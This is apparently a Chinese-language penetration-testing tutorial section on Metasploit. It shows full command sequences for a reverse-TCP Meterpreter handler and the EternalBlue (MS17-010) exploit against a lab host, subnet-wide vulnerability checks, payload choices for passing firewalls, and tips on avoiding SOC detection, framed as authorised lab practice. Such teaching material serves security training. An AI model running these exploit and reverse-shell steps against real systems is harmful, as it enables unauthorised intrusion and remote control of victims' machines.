本节摘要:SOURCE 3.3:选 exploit、设 RHOST/LHOST、选 staged/stageless payload、处理 badchars 与 target;失败则 debug 回溯。
渗透实施是从"知"到"行"的跨越。先搭一个 handler 监听,再触发 exploit——这是标准姿势:
# 第一步:先开监听器(相当于先架好"接球的网") use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.56.1 set LPORT 4444 run -j # [*] Started reverse TCP handler on 192.168.56.1:4444 # 第二步:触发目标漏洞 use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.56.10 set payload windows/meterpreter/reverse_tcp set LHOST 192.168.56.1 run # [*] Sending stage (200774 bytes) to 192.168.56.10 # [*] Meterpreter session 1 opened
SOURCE:成功即状态从 S_secure 跃迁 S_compromised,概率取决于 target 匹配。先 listener 后 trigger 的顺序不能反——没有监听者,payload 回连无人接。
模块库庞大,搜索是技术活。search 支持对元数据做结构化过滤:
# 精确搜索:类型 + 平台 + 名称 search type:exploit platform:windows name:smb # 按可靠性过滤 search rank:excellent type:exploit # 按 CVE 过滤 search cve:2017 name:eternalblue # 按披露时间排序,优先新洞 search type:exploit --sort disclosure_date
选中后务必 info 看 Supported targets。目标 OS/架构不在列表内,版本错一位就失败:
use exploit/windows/smb/ms17_010_eternalblue info # Name: EternalBlue SMB Remote Windows Kernel Pool Corruption # Rank: Average # Targets: # 0 => Automatic Target # 1 => Windows 7 SP1 x64 # 2 => Windows 8.1 x64 # 3 => Windows Server 2008 R2 SP1 x64 show targets
RHOSTS 与 LHOST 是网络拓扑的两个端点。RHOSTS 指向目标(单 IP 或 CIDR 网段),LHOST 是回连监听地址——注意它必须能被目标访问到。NAT/DMZ 环境下,LHOST 可能需要设为公网地址或穿透地址,LPORT 选 80/443 等常见端口更易穿过出站防火墙。
Payload 选择是战术决策:
| 需求 | 选择 | 理由 |
|---|---|---|
| 受限缓冲区 | staged meterpreter/reverse_tcp |
先发小 stager,再下载 DLL |
| 隐蔽优先 | stageless meterpreter_reverse_tcp |
无二次下载行为,特征少 |
| 加密通道 | reverse_https |
流量伪装成 HTTPS |
# staged 与 stageless 的完整名称对比 windows/meterpreter/reverse_tcp # staged(斜杠分隔) windows/meterpreter_reverse_tcp # stageless(下划线分隔)
直接 exploit 是鲁莽行为。支持 check 的模块应先做非破坏验证:
msf6 exploit(windows/smb/ms17_010_eternalblue) > check [+] 192.168.56.10:445 - The target is vulnerable.
check 通过发送特制探测包判断漏洞特征是否存在,不触发实际攻击效果。但要注意:逻辑漏洞/堆溢出往往无法靠探测确认,check 可能返回 Unknown——此时需结合侦察情报交叉验证,而不是盲信或盲弃。
| 情况 | 动作 |
|---|---|
| 无可靠 exploit | 回到 recon 或 0day 研究 |
| 隐蔽优先 | staged + https 通道 |
| 稳定优先 | stageless bind_tcp |
| check 显示不易受攻击 | 切换模块,或重新侦察 |
利用失败常见三类原因,按顺序排查:
# 1. 目标不可达 / 端口未开 ping -c1 192.168.56.10 db_nmap -p445 192.168.56.10 # 2. 监听器没起 / LHOST 写错 jobs -l # handler 是否在跑 show options # 核对 LHOST/LPORT # 3. 模块 target 不匹配 show targets # 与侦察到的 OS 版本对比 info # 重读模块约束 # 提升日志级别观察细节 set LogLevel 3

⚠️ 常见坑:忘记
exploit/multi/handler监听——payload 回连无人接。其次是把LHOST写成目标机地址,回连直接失败。
💡 关键直觉:handler 与 exploit 是「弹与枪」的关系。弹(payload)再先进,枪(监听器)没架好也白搭。
run -j 把监听器放后台info 读 Supported targets 与 rankcheck 是非破坏验证,失败不重跑而是读日志回溯check 不只是一次性验证,它能当"筛选器"在大规模目标中快速剔除无效对象:
# 对一个网段批量 check(示例:隔离环境) use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.56.0/24 set THREADS 8 check # [+] 192.168.56.10:445 - The target is vulnerable. # [-] 192.168.56.11:445 - The target is not exploitable. # [*] Scanned 256 of 256 hosts
在数百台主机的自动化扫描里,check 快速过滤出真正值得 run 的目标,避免在无效 exploit 上浪费时间窗口。这也是 SOURCE 强调"验证与执行分离"的工程价值。
在授权实验里,"不惊动目标 SOC"本身就是一种能力训练。控制流量特征与执行节奏:
# 示例:控制并发与重试,避免扫描风暴 set THREADS 1 # 降低并发 set ConnectTimeout 5 # 连接超时控制 set RHOSTS 192.168.56.10 # 收敛目标,不撒大网
# 一次受控实验的纪律清单 1. 目标清单与授权范围对齐(笔记记录) 2. 每步动作前先 check / show options 复核 3. 失败不重试轰炸,先读日志 4. 实验结束 sessions -K、jobs -K、清理上传文件
这些纪律在 5.1 工程化一章会升级为流程规范。渗透测试不是"能不能打进去",而是"打得进去且全程可审计"。
| 输出行 | 含义 | 后续动作 |
|---|---|---|
Meterpreter session 1 opened |
会话建立 | 进入会话,开始后渗透 |
Sending stage ... to target |
第二阶段载荷已投递 | 等待回连成功 |
The target is vulnerable |
check 确认 | 配置 payload 后 run |
Exploit completed, but no session |
利用执行但未拿会话 | 检查 LHOST/监听器/杀软 |
connection refused |
目标端口不通 | 回到侦察阶段复核 |
理解这些输出行,比背命令更重要——它们告诉你"发生了什么、下一步去哪"。